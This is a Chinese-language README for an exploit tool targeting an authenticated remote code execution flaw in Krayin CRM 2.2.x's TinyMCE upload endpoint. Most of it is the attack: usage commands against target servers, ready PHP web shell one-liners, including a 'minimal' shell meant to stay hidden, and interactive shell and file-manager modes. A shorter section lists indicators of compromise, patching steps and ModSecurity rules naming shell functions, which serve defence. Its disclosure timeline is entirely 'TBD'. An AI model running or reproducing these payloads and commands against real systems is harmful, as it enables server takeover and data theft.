🔓 Krayin CRM v2.2.x - 已验证的远程代码执行漏洞利用工具

⚠️ 仅限授权安全测试 - 未经授权使用违法且不道德。

📋 概述

本漏洞利用工具演示了在 Krayin CRM 版本 2.2.x 中发现的一个严重已验证远程代码执行 (RCE) 漏洞。该漏洞存在于 TinyMCE 文件上传功能中，允许已验证的管理员在服务器上上传并执行任意 PHP 代码。

🚨 漏洞详情

该漏洞源于 TinyMCE 文件上传端点 (/admin/tinymce/upload) 的文件类型验证不足。已验证的管理员可以：

• 上传一个伪装成图片 MIME 类型的 PHP 文件。
• 该文件会存储在 Web 可访问的位置。
• 攻击者随后可以在服务器上执行任意 PHP 代码。

受影响版本

• Krayin CRM 2.2.0
• Krayin CRM 2.2.1
• Krayin CRM 2.2.2
• 补丁发布前的所有 2.2.x 版本

✨ 特性

• 多种 Shell 类型：基础型、高级型、极简型、文件管理器型和自定义型。
• 交互式 Shell：完整的终端式界面，支持命令历史。
• 文件上传：通过 Shell 上传附加文件。
• CSRF Token 提取：自动处理 CSRF 保护。
• 代理支持：通过 HTTP/HTTPS 代理路由流量。
• 灵活的输出格式：文本、JSON 或静默模式。
• 重试逻辑：连接失败时自动重试。
• 自定义头部：支持自定义 HTTP 头部。
• 详细模式：详细的调试输出。
• SSL 支持：可选的 SSL 证书验证。

📦 安装

要求

• bash
• Python 3.7+
• pip install httpx beautifulsoup4 colorama

快速安装

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

依赖文件 (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 用法

基本命令语法

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]

必需参数

常见用法示例

# 使用生成的 Shell 进行基本利用
python3 exploit.py -t http://target.com -u [email protected] -p password

# 上传自定义 PHP Shell 文件
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# 生成高级 Shell 并进入交互模式
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# 仅生成 Shell 文件而不进行利用
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# 使用代理进行测试/调试
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON 输出（适用于自动化）
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# 详细模式 + 自定义超时
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# 自定义 User-Agent 和头部
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Shell 类型

1. 基础 Shell (basic) 使用 system() 函数进行简单命令执行。

   root@kitploit:~

   <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
   

2. 高级 Shell (advanced) 功能丰富的 Shell，包含：

   • 多种命令执行方法
   • 美观的终端式 Web 界面
   • 支持命令历史
   • 显示当前用户和主机名

3. 极简 Shell (minimal) 最小化痕迹以保持隐蔽。

   root@kitploit:~

   <?php system($_GET["cmd"]); ?>
   

4. 文件管理器 (file_manager) 完整的文件管理界面：

   • 文件上传
   • 文件删除
   • 目录创建
   • 导航
   • 文件权限查看器

5. 自定义 Shell (custom) 使用 -f 参数传入自己的 PHP Shell 文件。

📝 输出格式

文本格式（默认）

适合交互使用的人类可读彩色输出。

JSON 格式（-o json）

适合自动化和集成的机器可读格式。

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

静默格式（-q, --quiet）

除错误外不输出任何内容。适用于批处理。

⚙️ 高级选项

自定义头部示例

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 检测与防护

沦陷指标 (IoC)

• 需监控的文件：

  • public/storage/upload/ 目录下的异常 PHP 文件
  • 具有双重扩展名的文件（例如 image.php.jpg）
  • 名称可疑的新文件

• 需检查的日志：

  • /admin/tinymce/upload 的 POST 请求
  • 异常的管理员登录时间
  • 失败的认证尝试

• 系统指标：

  • 意外的进程运行
  • 新的 cron 作业
  • 被修改的系统文件

防护措施

• 立即执行：

  root@kitploit:~

  # 更新到已修补版本
  composer update krayin/crm
  
  # 临时禁用管理员访问
  # 移除不必要的管理员账户
  # 更改所有管理员密码
  

• 文件上传加固：

  root@kitploit:~

  // 根据内容而非扩展名验证文件类型
  // 实施内容安全策略
  // 使用 Web 应用防火墙 (WAF)
  // 启用文件上传扫描
  

• 访问控制：

  root@kitploit:~

  # 在 .htaccess 中限制管理员 IP
  # 为管理员账户实施 MFA
  # 定期管理员审计
  # 会话超时策略
  

• WAF 规则 (ModSecurity)：

  root@kitploit:~

  # 阻止可疑文件上传
  SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'PHP file upload blocked'"
  
  # 阻止 Web Shell
  SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Shell command blocked'"
  

🛡️ 负责任的披露

该漏洞是通过负责任的 (responsible) 安全研究发现的。披露流程遵循以下步骤：

• 发现：在安全评估期间识别出漏洞。
• 验证：确认 Krayin CRM 2.2.x 中存在漏洞。
• 报告：私下通知 Krayin CRM 开发团队。
• 协调：与团队合作制定修复方案。
• 补丁：等待官方补丁发布。
• 披露：在补丁可用后公开披露。

时间线

• 发现：待定 (TBD)
• 报告：待定 (TBD)
• 补丁发布：待定 (TBD)
• 公开披露：待定 (TBD)

📜 免责声明

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES, 
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY 
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL 
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE.

USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING 
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR 
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.

🔧 故障排除

常见问题

• 问题：认证失败

  • 解决方案：验证凭据，检查管理员登录路径是否为 /admin/login
  • 检查项：确保 CSRF Token 提取正常工作

• 问题：文件上传失败

  • 解决方案：检查文件权限，验证上传端点是否存在
  • 检查项：确保目标使用 TinyMCE 编辑器

• 问题：Shell 不执行命令

  • 解决方案：验证 php.ini 中没有禁用 PHP 函数
  • 检查项：使用简单命令（如 echo test）进行测试

• 问题：SSL 证书错误

  • 解决方案：使用 --verify-ssl 标志或禁用验证
  • 注意：自签名证书在未正确验证时会引发错误

调试模式

# 启用详细日志
python3 exploit.py -t http://target.com -u admin -p pass -v

# 配合代理（Burp Suite 等）
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080

🤝 贡献

欢迎贡献！请确保：

• 所有代码经过适当测试。
• 文档已更新。
• 遵循道德指南。
• 漏洞研究以负责任的方式进行。

📚 参考

• Krayin CRM 官方网站
• CVE-2026-38526
• OWASP 远程代码执行
• PHP 安全最佳实践

⭐ 支持

如果您觉得该工具对安全研究有用，请考虑：

• ⭐ 给仓库加星
• 🔔 关注以获取更新
• 📢 与其他安全研究人员分享

为安全研究而作 ❤️

请记住：能力越大，责任越大。请明智地使用这些知识！

📊 快速命令参考卡

# 快速参考
python3 exploit.py -t URL -u USER -p PASS [OPTIONS]

# 选项：
#   -f FILE           上传自定义 Shell
#   --shell-type TYPE 基础型 | 高级型 | 极简型 | 文件管理器型 | 自定义型
#   -i                交互模式
#   --proxy URL       HTTP 代理
#   -v                详细输出
#   -o json           JSON 输出
#   --generate-only   仅生成 Shell 而不进行利用
#   --timeout SEC     请求超时
#   --retry N         重试次数
#   --user-agent UA   自定义 User-Agent
#   --header "K: V"   自定义头部
#   --verify-ssl      验证 SSL 证书
#   -q, --quiet       抑制输出

🔒 请记住：在测试任何系统之前，务必获取书面授权！